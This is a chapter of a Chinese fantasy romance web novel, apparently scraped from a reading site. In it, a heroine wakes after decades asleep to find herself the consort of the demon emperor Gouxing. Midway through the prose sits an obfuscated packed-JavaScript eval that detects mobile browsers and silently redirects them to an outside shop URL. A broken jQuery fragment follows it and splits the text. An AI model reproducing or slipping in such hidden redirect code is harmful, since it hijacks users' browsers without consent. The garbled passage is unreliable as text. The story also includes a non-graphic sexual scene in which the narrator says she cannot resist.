文趣网 > 其他小说 > 我能躺赢,全仰仗尾巴 > 146. 第146章 缔命尊上
    我小心翼翼抬起胳膊,贴上那将心跳声隐藏得很好的胸膛。摸一摸,敲一敲,然后再——贴近听一听。穆青的仙丹,就是被藏进这里了么?果然,心跳一模一样。

    “……摸得这么投入,很喜欢么?”

    头顶传来男人低沉的嗓音,蓦地惊动了我的心弦。

    犹豫了半晌,我仰起脸,艰难牵动嘴角,“好久不见,钩星。你吃晚饭了么?最近可还忙?”

    “吃了,不忙。”钩星垂眸看着我,金色的眸子里映着微弱的光,“顺便一提,这两年来每天都有见面。”

    两年?我心下暗忖,我怎么有些糊涂,记不清楚时间轴了。

    但不要紧,不影响我向这个男人索要东西。

    “小青的仙丹,还给我。”

    “干嘛?”钩星微微挑眉,那表情像是在看一只虚张声势的炸毛小猫,“对于救命恩人,只耐得住性子寒暄一句,便迫不及待要讨债了?”

    见我要逃,钩星一把箍住我的腰身,嘴唇毫不犹豫贴上我的,含含糊糊道,“想要,自己来拿。”

    大脑一片混沌。我来不及反应,便见钩星黑色的雾将我体内金色的仙力“拽”了出去,进而纠缠在一起,难舍难分。

    我本该逃的。可脑子里却嗡地一声响,万一我逃了,穆青的仙丹怎么办?

    我的意识刚才清醒,却又渐渐沉沦下去。这微凉的雾将我包裹起来,再不复从前那试探、犹豫的小心翼翼,而是带着肉眼可见的侵略性,进入我的身体,抚摸着我躯壳下最深的地方。

    “照夜。”钩星的声音低沉,带着某种压抑已久的情绪,“唯有比共鸣更深层的触碰和撞击,才能表达爱与思念。”

    我几乎是在懵然无措、又无法反抗的情况下,被打开了身体。除了接纳,我没有其他选择。唯有在男人那难以招架的吻中,才能揪住一个小小的间隙,用颤抖的声音问,“小青呢?”

    钩星只是将我的手死死按在自己厚实的胸膛上,让我感受那再熟悉不过的、与穆青一模一样的心跳。

    “照夜,青莲在这里,与我共存。”

    情况有些糟糕。

    我甚至认为自己还在做梦,然而并没有。

    一睁眼,便是一张有些熟悉、却又有些陌生的面孔。

    珊瑚。之前我死而复生后,也是她来照顾我。只是她看上去成熟了一些,无论面容还是装扮。

    见我一直盯着镜子中的自己默默不语,珊瑚只是耐心梳着我已恢复黝黑的长发,开口却是吓得人天灵盖都要振飞的话,

    “缔命尊上大人,是不认得奴婢了么?”

    “缔,缔命尊,尊上?”我盯着镜中那个脸色煞白的自己,“我?”

    珊瑚掩嘴一笑,眉眼弯弯,“是呀,仙历三四七二年,魔皇陛下迎娶了自己的缔命人,也就是您。您自然是缔命尊上大人。”

    情况不仅有些糟糕,还有些复杂。

    据珊瑚说,我在蕴灵泉里勉强睡了两年,便迫不及待醒来。而在这之前,我在万鼎炉里,被炙烤了足足五十年。

    是的,我进万鼎炉是仙历三四二零年,而今,已是三四七二年。换句话说,我于这三界,整整失去了五十二年时光。

    五十多年里,映山都的魔宫已变了样。最大的变化便是——有了名字。魔皇的殿宇,名叫栖光殿。

    从前这里也有许多花,只是不如现在这般花团锦簇。每一处宫殿,每一处平台,每一段廊桥,甚至从殿阁本身的缝隙与檐角,都盛开着魔界才有的奇卉。有花瓣如琉璃般剔透的“映光兰”,白日吸收天光,入夜便发出星子般的柔晕;有藤蔓上垂落瀑布般的“雪星铃”,细小的银白花朵随风轻颤,发出清泉似的泠泠微响;还有大片大片颜色浓郁到化不开的“醉霞绮”,这花儿的颜色有深紫、有绯红,还有鎏金,杂交后更是色彩斑斓,日见不同。

    我坐在凉亭里发呆,想好好整理一下思绪,却不得安宁。

    因有一只奇怪的小狗,一直在我脚边打转。

    一只陌生的,通体覆盖细密、光滑的片状鳞甲,长着一条粗壮尾巴的小狗。

    真是不见外——这陌生小狗竟跳到我膝盖上,就这么蜷缩着打起呼噜。

    罢了,眼下我还是集中精神,捋一捋眼下的情况。

    好消息是:那日钩星突然降临万鼎炉,在穆青仙丹快要彻底崩解时,将仙丹收在了自己身体里。按照他的说法,他们共存了。

    令人摸不着头脑的消息是:我在万鼎炉里足足沉睡了五十年——我和小初那场跋涉之旅,前后持续了五十年。换句话说,小初是除穆青外,与我共同生活时间最长的人了。

    诡异消息是:如珊瑚所言,我在还未完全清醒的情况下,嫁给了钩星,成为了他的“缔命”。

    我低头看着膝盖上那只鳞甲小狗,它正舒服地打着小呼噜。

    “你又是谁啊?”我戳了戳它的脑袋。

    陌生小狗的鳞甲触手微凉,却如活物般具备柔韧弹性,顺滑如顶级墨玉——鳞片间隙极其细密,几乎感受不到缝隙。仔细看,呈哑光深邃的墨黑色,但在光线折射下会流转出纯黑的金属光泽。奇特的是,这小狗有一条过于粗壮的、同样覆盖鳞甲的尾巴。

    总觉得莫名熟悉。难不成是哪本妖兽志里的珍兽?

    算了,还是先调用大脑,思考一下有关“缔命”的事儿。

    初代魔皇里那斯以凡人之躯修了仙法,虽战力超群,其志非止于力慑群伦,而是要为突破物种的“共鸣”正名。所以他决意迎娶灵智通明、性洁如雪的鹿兽——蔚。当时麾下群人哗然,视此为亵渎血脉、混淆纲常之举。

    面对汹汹非议,里那斯当众立誓。史书对这段话,有着可信度相当高的记载:

    “孤所求之道,非独尊人,亦非唯崇仙,而在‘共生’。”

    “今日若因蔚非人形便否定其灵智、其深情,则孤所建之魔界,与那歧视众生、固步自封的旧世何异?”

    “孤封蔚为妻,非因私爱,乃为立约——此约,便是魔界之基,心魂相通,便可缔结为命,无分皮囊。”

    后里那斯遂赐蔚尊号为“缔命”,意为缔异族之约,命同魂之契。

    此后数千年,魔界渐成三界中种族最为融汇交杂之地。人、妖兽、仙、魔,只要灵智已开、心意相通,便可自由结合。这项开明之策,早已如吃饭饮水一般寻常,不会再有人因一条蛇与一位仙相爱生娃而震惊。

    好吧,回忆了这么多——其实缔命就等同于仙帝的天妃,人君的皇后。

    缔命,就是魔皇陛下唯一的妻子。

    想到这里,不知为何,一股难言的羞臊感涌上心头,我恨不得找个地缝藏起来。我身边睡着的何止是个熟人,简直是从身体到魂魄再到身份,都熟透了的那种熟。

    可是,有些莫名其妙呀——我才刚刚清醒不过五天。

    我掰着指头数了又数,一、二、三、四、五。没错,五天。

    这时,膝上的陌生小狗醒了,冲我不停摇尾巴。那粗壮的尾巴像凶器一般,差点把我腿骨打折。它发出哼哧哼哧的奇怪叫声,招呼着我往栖光殿最高处去。

    四肢的协调性在慢慢恢复。我提着裙摆,一步步跟着小狗。周遭的宫人侍卫无一不向我行礼——不知为何,这种飘飘然的感觉,还挺特别。

    从栖光殿最高处远眺,恰逢金乌西坠,整个映山都浸入一片煌煌的暖熔之色。

    我被眼前的景致震撼了。我不是第一次看到映山都,却从未见过如此庞大、如此繁华的映山都

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17622552|204291||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    五十年。眼前这座城邦,早已变了模样。

    数不清的屋舍层叠,恍如墨玉与鎏金锻造的鳞甲,从脚下一直蔓延至视野尽头的朦胧雾霭之中。纵横的街衢化作流淌着夕光的河网,车马行人如细密的星子缓慢移动。市井的喧嚣传不到这般高处,只余一幅庞大而沉默的繁华织锦,在渐沉的暮色里闪烁着生机。

    在这片鳞次栉比的庞大城邦中央,越过如剑戟般林立的塔楼与飞檐,一株磅礴巨木巍然独矗——抱婴椿。

    乖乖,又变大了一倍。月羽木在她面前简直是个孩子。

    其形如一朵自大地深处升起的、凝结的碧云,树冠广袤,几乎荫蔽了小半城池。此时,夕阳的余晖正毫无保留地倾泻在它身上,将万千叶片染成通透的金绿色,仿佛整棵树都在由内而外散发着温柔的光晕。密叶枝桠之间,隐约可见无数柔和的、珍珠般的光点在缓慢明灭——那便是胎果了。

    好家伙,胎果怎么这么多?抱婴椿果然如月羽木所言——来者不拒么。

    这个时候,我真切体会到,我失去的五十二年,究竟意味着什么。

    我不再是那个山里蹲的照夜了——而是五十二年闭门不出的山里蹲照夜。

    我低头看看自己鼓胀如香瓜的胸,不住摇头,短短两年,我又胖了回来。当初离开万鼎炉时,尾巴顺手薅走了仙丹,虽不知数量几何,但——一定不少。不然我怎么会,又膨胀了。

    “明天一起去看抱婴椿。”

    我被来者吓了一跳。钩星一身鹅黄与纯白相交的常服,本就好看的脸部轮廓被落日勾勒出金色的线条,衬得他眸子越发明亮。

    “这小狗是你的新坐骑么?”

    “……是你的。”

    我一愣,连忙将那一身鳞甲的小狗举起来端详。嘴筒子眼熟,这光滑的鳞片眼熟——难不成是——

    我震惊地瞪大眼睛,“是焉耆和玄洛君的……娃?”

    “焉耆不在,我特地留了小呜呜给你。”钩星抬手摸了摸小狗的脑袋,“速度没那么快,但你用够了。”

    一听到钩星叫“小呜呜”,这小狗兴奋地昂起脑袋,竟真的“呜呜”叫了起来。原来是这个呜呜么。我摇摇头——钩星取名的品味,一如既往一言难尽。

    “钩星,小青在么?”

    “在,你听。”钩星将我按在胸膛,声音低沉而温柔,“我吸收了青莲,但是没有同化,而是保留了他。所以,他在。”

    一模一样的心跳声,根本无法用以证明穆青还存在。但是,我愿意相信钩星——至少他不会欺骗我,不会伤害我。

    不等我开口,钩星托起我,将我放在栏杆上,吻了吻我的嘴唇,“但是照夜,我没法区分。”他的额头抵着我的,呼吸交缠,“现在想吻你的——究竟是谁。”

    缠绵又充满欲望的吻。这吻的发起人像是要把我揉进身体里,才肯罢休。

    远天,霞光正由金红褪为紫灰。栖光殿的影子被拉得很长,缓缓覆上整座山。

    我好似犹在梦里。不真实感困扰着我,对此我也有自己的证据。

    第一,被魔族深深倚赖的魔皇钩星好似无所事事,几乎与我黏在一处。我印象里,魔皇的臣下可都是些事无巨细都要奏请魔皇旨意的家伙们。

    第二,宫里的侍卫、婢女多了不少,我倒不意外,但他们的目光又充满监视感。换句话说,除非有钩星在侧,我没法离开栖光殿。我觉得,这十分诡异。

    第三,我和钩星一起去看了那颗奇特的金色胎果。虽然只是在颜色上与其他普通胎果有区别,但我认为不仅如此——五十多年了仍旧未落地的胎果,简直不正常。

    第四,除了钩星和照顾我的珊瑚,我醒来后一个月里,没有见到其他任何熟人。